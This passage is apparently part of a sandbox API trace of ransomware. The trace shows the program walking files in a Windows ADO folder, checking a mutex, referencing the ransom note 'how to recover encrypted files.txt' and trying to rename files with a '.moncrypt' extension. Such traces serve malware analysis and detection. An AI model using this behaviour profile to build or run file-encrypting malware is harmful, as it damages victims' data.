ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0056.804] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.804] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.804] GlobalLock (hMem=0x440004) returned 0x550170 [0056.804] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.804] GlobalUnlock (hMem=0x440004) returned 0 [0056.804] GlobalLock (hMem=0x440004) returned 0x550170 [0056.804] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.804] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.804] GlobalUnlock (hMem=0x440004) returned 0 [0056.804] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.804] GlobalUnlock (hMem=0x44000c) returned 0 [0056.804] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.805] CharLowerBuffW (in: lpsz="msador15.dll", cchLength=0xc | out: lpsz="msador15.dll") returned 0xc [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll", lpUsedDefaultChar=0x0) returned 53 [0056.805] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll\\msador15.dll", lpUsedDefaultChar=0x0) returned 4 [0056.805] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0056.805] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.805] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.805] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.805] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.805] GlobalUnlock (hMem=0x44000c) returned 0 [0056.806] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.806] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.806] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.806] GlobalUnlock (hMem=0x44000c) returned 0 [0056.806] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.806] GlobalUnlock (hMem=0x440004) returned 0 [0056.806] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.806] CharLowerBuffW (in: lpsz="msadox.dll", cchLength=0xa | out: lpsz="msadox.dll") returned 0xa [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll", cchWideChar=51, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll", lpUsedDefaultChar=0x0) returned 51 [0056.806] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll\\msadox.dll", lpUsedDefaultChar=0x0) returned 4 [0056.807] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0056.807] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.807] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.807] GlobalLock (hMem=0x440004) returned 0x550170 [0056.807] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.807] GlobalUnlock (hMem=0x440004) returned 0 [0056.807] GlobalLock (hMem=0x440004) returned 0x550170 [0056.807] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.807] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.807] GlobalUnlock (hMem=0x440004) returned 0 [0056.807] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.807] GlobalUnlock (hMem=0x44000c) returned 0 [0056.807] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.807] CharLowerBuffW (in: lpsz="msadox28.tlb", cchLength=0xc | out: lpsz="msadox28.tlb") returned 0xc [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.808] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0056.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", cchWideChar=53, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", lpUsedDefaultChar=0x0) returned 53 [0056.808] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlb\\msadox28.tlb", lpUsedDefaultChar=0x0) returned 4 [0056.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 0x54e200 [0056.808] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.808] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.808] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", dwFileAttributes=0x20) returned 0 [0056.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.moncrypt" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.moncrypt")) returned 0 [0056.809] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.809] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.809] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.809] GlobalUnlock (hMem=0x44000c) returned 0 [0056.809] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.809] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.809] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.809] GlobalUnlock (hMem=0x44000c) returned 0 [0056.809] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.809] GlobalUnlock (hMem=0x440004) returned 0 [0056.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x43036160, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43036160, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.810] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.810] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.810] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.810] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.810] GlobalUnlock (hMem=0x440004) returned 0 [0056.810] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.810] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.810] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.810] GlobalUnlock (hMem=0x440004) returned 0 [0056.810] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.810] GlobalUnlock (hMem=0x44000c) returned 0 [0056.810] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.810] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x43036160, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43036160, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.810] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.810] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.810] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.810] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.810] GlobalUnlock (hMem=0x44000c) returned 0 [0056.810] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.810] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.810] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.810] GlobalUnlock (hMem=0x44000c) returned 0 [0056.810] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.810] GlobalUnlock (hMem=0x440004) returned 0 [0056.810] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.810] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0056.811] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.811] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.811] GlobalLock (hMem=0x440004) returned 0x550170 [0056.811] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.811] GlobalUnlock (hMem=0x440004) returned 0 [0056.811] GlobalLock (hMem=0x440004) returned 0x550170 [0056.811] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.811] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.811] GlobalUnlock (hMem=0x440004) returned 0 [0056.811] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.811] GlobalUnlock (hMem=0x44000c) returned 0 [0056.811] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.811] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0056.811] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.811] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.811] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.811] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.811] GlobalUnlock (hMem=0x44000c) returned 0 [0056.811] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.811] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.811] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.811] GlobalUnlock (hMem=0x44000c) returned 0 [0056.811] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.811] GlobalUnlock (hMem=0x440004) returned 0 [0056.811] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.811] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0056.811] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.811] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.812] GlobalLock (hMem=0x440004) returned 0x550170 [0056.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.812] GlobalUnlock (hMem=0x440004) returned 0 